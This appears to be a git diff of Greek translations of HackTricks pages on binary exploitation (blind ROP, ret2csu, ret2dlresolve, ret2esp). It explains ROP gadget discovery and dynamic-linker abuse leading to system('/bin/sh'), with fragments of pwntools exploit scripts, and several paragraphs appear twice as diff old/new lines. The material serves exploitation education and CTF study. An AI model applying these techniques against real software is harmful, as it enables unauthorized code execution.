Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό οφείλεται στο γεγονός ότι αν έχετε πρόσβαση σε αυτό το gadget στη μέση ορισμένων οδηγιών, λαμβάνετε gadgets για να ελέγξετε τα **`rsi`** και **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Αυτά θα ήταν τα gadgets:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατόν να **ελέγξετε 2 ορίσματα** μιας συνάρτησης προς κλήση.
Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατό να **ελέγξετε 2 ορίσματα** μιας συνάρτησης προς κλήση.
Επίσης, παρατηρήστε ότι το ret2csu gadget έχει μια **πολύ μοναδική υπογραφή** επειδή θα αποσυρθούν 6 καταχωρητές από τη στοίβα. Έτσι, αποστέλλοντας μια αλυσίδα όπως:
@ -55,17 +56,17 @@
Αν το **STOP εκτελεστεί**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που αποσύρει 6 καταχωρητές** από τη στοίβα. Ή ότι η χρησιμοποιηθείσα διεύθυνση ήταν επίσης μια διεύθυνση STOP.
Για να **αφαιρέσετε αυτήν την τελευταία επιλογή** εκτελείται μια νέα αλυσίδα όπως η ακόλουθη και δεν πρέπει να εκτελεστεί το STOP gadget για να επιβεβαιωθεί ότι η προηγούμενη αποσύρθηκε 6 καταχωρητές:
Για να **αφαιρέσετε αυτήν την τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η ακόλουθη και δεν πρέπει να εκτελεστεί το STOP gadget για να επιβεβαιωθεί ότι η προηγούμενη αποσύρθηκε 6 καταχωρητές:
`'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ`
Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατόν να **συμπεράνετε τη διεύθυνση των gadgets για τον έλεγχο του `rsi` και `rdi`**.
Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατό να **συμπεράνετε τη διεύθυνση των gadgets για τον έλεγχο του `rsi` και `rdi`**.
### 6. Εύρεση PLT
Η πίνακας PLT μπορεί να αναζητηθεί από το 0x400000 ή από τη **διευθυνση RIP που διέρρευσε** από τη στοίβα (αν χρησιμοποιείται **PIE**). Τα **κεντρίσματα** του πίνακα είναι **χωρισμένα κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση ο διακομιστής δεν καταρρέει ακόμα κι αν τα ορίσματα δεν είναι σωστά. Επίσης, η ελέγχουσα διεύθυνση ενός κεντρίσματος στο **PLT + 6B δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται.
Η πίνακας PLT μπορεί να αναζητηθεί από το 0x400000 ή από τη **διευθύνση RIP που διέρρευσε** από τη στοίβα (εάν χρησιμοποιείται **PIE**). Τα **στοιχεία** του πίνακα είναι **χωρισμένα κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση ο διακομιστής δεν καταρρέει ακόμα και αν τα ορίσματα δεν είναι σωστά. Επίσης, η ελέγχουμε τη διεύθυνση ενός στοιχείου στο **PLT + 6B δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται.
Επομένως, είναι δυνατόν να βρείτε τον πίνακα PLT ελέγχοντας την ακόλουθη συμπεριφορά:
Επομένως, είναι δυνατό να βρείτε τον πίνακα PLT ελέγχοντας την ακόλουθη συμπεριφορά:
* `'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ + STOP` -> χωρίς κατάρρευση
* `'A' * μετατόπιση + canary + rbp + (ΔΙΕΥΘΥΝΣΗ + 0x6) + STOP` -> χωρίς κατάρρευση
@ -73,21 +74,21 @@
### 7. Εύρεση strcmp
Η συνάρτηση **`strcmp`** ορίζει τον καταχωρητή **`rdx`** στο μήκος του συγκρινόμενου συμβολοσειράς. Σημειώστε ότι το **`rdx`** είναι το **τρίτο όρισμα** και πρέπει να είναι **μεγαλύτερο από 0** για να χρησιμοποιήσουμε αργότερα την `write` για να διαρρεύσουμε το πρόγραμμα.
Η συνάρτηση **`strcmp`** ορίζει τον καταχωρητή **`rdx`** στο μήκος του συμβολοσειράς που συγκρίνεται. Σημειώστε ότι το **`rdx`** είναι το **τρίτο όρισμα** και χρειαζόμαστε να είναι **μεγαλύτερο από 0** για να χρησιμοποιήσουμε αργότερα την `write` για να διαρρεύσουμε το πρόγραμμα.
Είναι δυνατόν να βρείτε τη θέση του **`strcmp`** στο PLT βασιζόμενοι στη συμπεριφορά του χρησιμοποιώντας το γεγονός ότι τώρα μπορούμε να ελέγξουμε τα 2 πρώτα ορίσματα των συναρτήσεων:
Είναι δυνατό να βρεθεί η τοποθεσία του **`strcmp`** στο PLT βασιζόμενο στη συμπεριφορά του χρησιμοποιώντας το γεγονός ότι τώρα μπορούμε να ελέγξουμε τα 2 πρώτα ορίσματα των συναρτήσεων:
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κατάρρευση
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> κατάρρευση
* strcmp(\<αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κατάρρευση
* strcmp(\<αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> χωρίς κατάρρευση
Είναι δυνατόν να ελέγξετε αυτό καλώντας κάθε καταχώρηση του πίνακα PLT ή χρησιμοποιώντας τη
Είναι δυνατό να ελεγχθεί αυτό καλώντας κάθε είσοδο του πίνακα PLT ή χρησιμοποιώντας τη **PLT slow path** που ουσιαστικά αποτελείται από το **κάλεσμα ενός στοιχείου στον πίνακα PLT + 0xb** (που καλεί το **`dlresolve`**) ακολουθούμενο στη στοίβα από τον **αριθμό εισόδου που επιθυμεί κανείς να εξετάσει** (ξεκινώντ
### 8. Εύρεση Write ή ισοδύναμου
Τέλος, απαιτείται ένα εργαλείο που εξάγει δεδομένα για να εξάγει το δυαδικό. Και αυτή τη στιγμή είναι δυνατόν να **ελέγξουμε 2 ορίσματα και να ορίσουμε το `rdx` μεγαλύτερο από 0.**
Τέλος, απαιτείται ένα εργαλείο που εξαγάγει δεδομένα για να εξαχθεί το δυαδικό. Και αυτή τη στιγμή είναι δυνατόν να **ελέγξουμε 2 ορίσματα και να ορίσουμε το `rdx` μεγαλύτερο από 0.**
Υπάρχουν 3 κοινές συναρτήσεις που θα μπορούσαν να καταχραστούνται γι' αυτό:
Υπάρχουν 3 κοινές συναρτήσεις που μπορούν να καταχραστούν γι' αυτό:
* `puts(data)`
* `dprintf(fd, data)`

View file

@ -1,24 +1,25 @@
# Ret2csu
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Βασικές Πληροφορίες
Το **ret2csu** είναι μια τεχνική χάκινγκ που χρησιμοποιείται όταν προσπαθείτε να πάρετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.&#x20;
Το **ret2csu** είναι μια τεχνική χάκερ που χρησιμοποιείται όταν προσπαθείτε να πάρετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.&#x20;
Όταν ένα πρόγραμμα χρησιμοποιεί κάποιες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διάφορα κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Ανάμεσα σε αυτές τις λειτουργίες υπάρχουν μερικά κρυμμένα κειμήλια που μπορούν να λειτουργήσουν ως τα λείποντα gadgets μας, ειδικά ένα που ονομάζεται `__libc_csu_init`.
@ -36,18 +37,18 @@ pop r14;
pop r15;
ret;
```
Αυτό το εργαλείο μας επιτρέπει να ελέγχουμε αυτούς τους registries παίρνοντας τιμές από τη στοίβα και τις τοποθετεί σε αυτά.
Αυτό το εργαλείο μας επιτρέπει να ελέγχουμε αυτά τα registries παίρνοντας τιμές από τη στοίβα και τις τοποθετεί σε αυτά.
2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ορίσει για να κάνει μερικά πράγματα:
* **Μεταφορά συγκεκριμένων τιμών σε άλλα registries**, κάνοντάς τα έτοιμα για να τα χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
* **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται από την πρόσθεση των τιμών στο r15 και στο rbx, και στη συνέχεια πολλαπλασιασμό του rbx με 8.
* **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται από την πρόσθεση των τιμών στο r15 και rbx, και στη συνέχεια πολλαπλασιασμό του rbx με 8.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
2. Ίσως δεν ξέρεις καμία διεύθυνση για να γράψεις εκεί και **χρειάζεσαι μια εντολή `ret`**. Σημείωσε ότι το δεύτερο εργαλείο θα **τελειώσει επίσης με ένα `ret`**, αλλά θα πρέπει να πληροίς κάποιες **συνθήκες** για να το φτάσεις:
2. Ίσως δεν ξέρεις καμία διεύθυνση για να γράψεις εκεί και **χρειάζεσαι μια εντολή `ret`**. Σημείωσε ότι το δεύτερο εργαλείο θα **τελειώσει επίσης με ένα `ret`**, αλλά θα πρέπει να πληροίς κάποιες **συνθήκες** προκειμένου να το φτάσεις:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -77,9 +78,9 @@ gef➤ search-pattern 0x400560
## RDI και RSI
Ένας άλλος τρόπος για να ελέγξετε τα **`rdi`** και **`rsi`** από το gadget ret2csu είναι προσπελαώντας συγκεκριμένες μετατοπίσεις:
Ένας άλλος τρόπος να ελέγξετε τα **`rdi`** και **`rsi`** από το gadget ret2csu είναι προσπελαώντας συγκεκριμένα offsets:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες:
@ -91,14 +92,14 @@ gef➤ search-pattern 0x400560
### Χρησιμοποιώντας την κλήση
Φανταστείτε ότι θέλετε να κάνετε ένα σύστημα κλήσης ή να καλέσετε μια συνάρτηση όπως η `write()` αλλά χρειάζεστε συγκεκριμένες τιμές στα καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα αναζητούσατε gadgets που ορίζουν αυτούς τους καταχωρητές απευθείας, αλλά δεν μπορείτε να βρείτε κανένα.
Φανταστείτε ότι θέλετε να κάνετε ένα syscall ή να καλέσετε μια συνάρτηση όπως η `write()` αλλά χρειάζεστε συγκεκριμένες τιμές στα registries `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα αναζητούσατε gadgets που ορίζουν αυτά τα registries απευθείας, αλλά δεν μπορείτε να βρείτε κανένα.
Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**:
1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να εξάγετε τιμές από τη στοίβα και να τις μεταφέρετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
2. **Χρήση του Δεύτερου Gadget**: Με αυτούς τους καταχωρητές ορισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σάς επιτρέπει να μετακινήσετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13 αντίστοιχα), ετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας τους `r15` και `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`.
1. **Ρύθμιση των Registries**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να εξάγετε τιμές από τη στοίβα και να τις μεταφέρετε στα rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
2. **Χρήση του Δεύτερου Gadget**: Με αυτά τα registries ορισμένα, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μετακινήσετε τις επιλεγμένες τιμές σας στα `rdx` και `rsi` (από r14 και r13 αντίστοιχα), ετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και την τοποθετείτε στο `[r15 + rbx*8]`.
Έχετε ένα [**παράδειγμα χρησιμοποιώντας αυτή την τεχνική και εξηγώντας την εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε:
Έχετε ένα [**παράδειγμα χρησιμοποιώντας αυτή την τεχνική και εξηγώντας την εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτή είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
```python
from pwn import *
@ -128,7 +129,7 @@ print(p.recvline()) # should receive "Awesome work!"
### Παράκαμψη της κλήσης και φτάνοντας στο ret
Το παρακάτω exploit εξήχθη [**από αυτήν τη σελίδα**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, παρακάμπτει τις συγκρίσεις και φτάνει στο `ret` μετά την κλήση:
Το παρακάτω exploit εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, παρακάμπτει τις συγκρίσεις και φτάνει στο `ret` μετά την κλήση:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -180,4 +181,4 @@ target.interactive()
```
### Γιατί Να Μην Χρησιμοποιήσετε Απευθείας την libc;
Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες στο [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες μπορούν να ελεγχθούν εύκολα με τα gadgets που βρίσκετε απευθείας στην libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ορίσετε αυτές απευθείας ενδέχεται να μην είναι δυνατή**.
Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες στο **ret2plt** + **ret2lib**, αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από ό,τι είναι εύκολα ελέγξιμες με τα gadgets που βρίσκετε απευθείας στην libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ορίσετε αυτές απευθείας ενδέχεται να μην είναι δυνατή**.

View file

@ -1,18 +1,19 @@
# Ret2dlresolve
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε hacking tricks υποβάλλοντας PRs** στα αποθετήρια του **HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -22,7 +23,7 @@
Επομένως, είναι δυνατόν να **πλαστογραφήσετε όλες αυτές τις δομές** για να κάνετε τη δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η λειτουργία **`system`**) και να την καλέσετε με ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
Συνήθως, όλες αυτές οι δομές πλαστογραφούνται κάνοντας μια **αρχική ROP αλυσίδα που καλεί την `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την read σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζει καλώντας **`_dl_runtime_resolve`**, έχοντας τη δυνατότητα να **επιλύσει τη διεύθυνση του `system`** στις πλαστογραφημένες δομές και να **καλέσει αυτήν τη διεύθυνση** με τη διεύθυνση προς `$'/bin/sh'`.
Συνήθως, όλες αυτές οι δομές πλαστογραφούνται κάνοντας μια **αρχική ROP αλυσίδα που καλεί την `read`** πάνω σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται έτσι ώστε να αποθηκευτούν από την read σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζει καλώντας **`_dl_runtime_resolve`**, έχοντας τη δυνατότητα να **επιλύσει τη διεύθυνση του `system`** στις πλαστογραφημένες δομές και να **καλέσει αυτήν τη διεύθυνση** με τη διεύθυνση προς `$'/bin/sh'`.
{% hint style="success" %}
Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για χρήση τεχνικών όπως το [**ret2syscall**](rop-syscall-execv/) ή το SROP) και δεν υπάρχουν τρόποι διαρροής διευθύνσεων της libc.
@ -199,4 +200,4 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
* 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική μικρή υπερχείλιση buffer και επιστροφή. Για να εκμεταλλευτείτε το bof χρησιμοποιείται για να καλέσει ξανά το `read` με ένα `.bss` τμήμα και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο κύριο πρόγραμμα και να εκμεταλλευτεί ξανά το αρχικό bof για να καλέσει το dlresolve και μετά το `system('/bin/sh')`.
* 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική μικρή υπερχείλιση buffer και επιστροφή. Για να εκμεταλλευτείτε το bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο κύριο πρόγραμμα και να εκμεταλλευτεί ξανά το αρχικό bof για να καλέσει το dlresolve και μετά το `system('/bin/sh')`.

View file

@ -1,26 +1,27 @@
# Ret2esp / Ret2reg
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## **Ret2esp**
**Επειδή το ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας εντολής **`jmp esp`** ή **`call esp`**. Με αυτόν τον τρόπο, το shellcode τοποθετείται ακριβώς μετά τον αντικατασταθέντα EIP. Όταν εκτελείται η εντολή `ret`, το ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένο το shellcode.
**Επειδή το ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας εντολής **`jmp esp`** ή **`call esp`**. Με αυτόν τον τρόπο, το shellcode τοποθετείται ακριβώς μετά τον αντικατασταθέντα EIP. Όταν εκτελείται η εντολή `ret`, το ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που αποθηκεύεται το shellcode.
Αν **η τυχαιοποίηση του Χώρου Διεύθυνσης (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινόχρηστες βιβλιοθήκες. Ωστόσο, με το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ενεργοποιημένο, μπορεί να χρειαστεί να αναζητήσετε εντολές αυτές μέσα στο ευάλωτο πρόγραμμα ίδιο (και μπορεί να χρειαστεί να ξεπεράσετε το [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Αν **η τυχαιοποίηση του Χώρου Διεύθυνσης (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινόχρηστες βιβλιοθήκες. Ωστόσο, με [**την ASLR**](../common-binary-protections-and-bypasses/aslr/) ενεργή, μπορεί να χρειαστεί να αναζητήσετε εντολές αυτού του τύπου εντός του ευάλωτου προγράμματος ίδιο του (και ίσως να χρειαστεί να ξεπεράσετε το [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Επιπλέον, η δυνατότητα τοποθέτησης του shellcode **μετά την διαφθορά του EIP**, αντί για τη μέση της στοίβας, εξασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` εκτελούνται κατά τη λειτουργία της συνάρτησης δεν επηρεάζουν το shellcode. Αυτή η παρεμβολή θα μπορούσε να συμβεί αν το shellcode τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
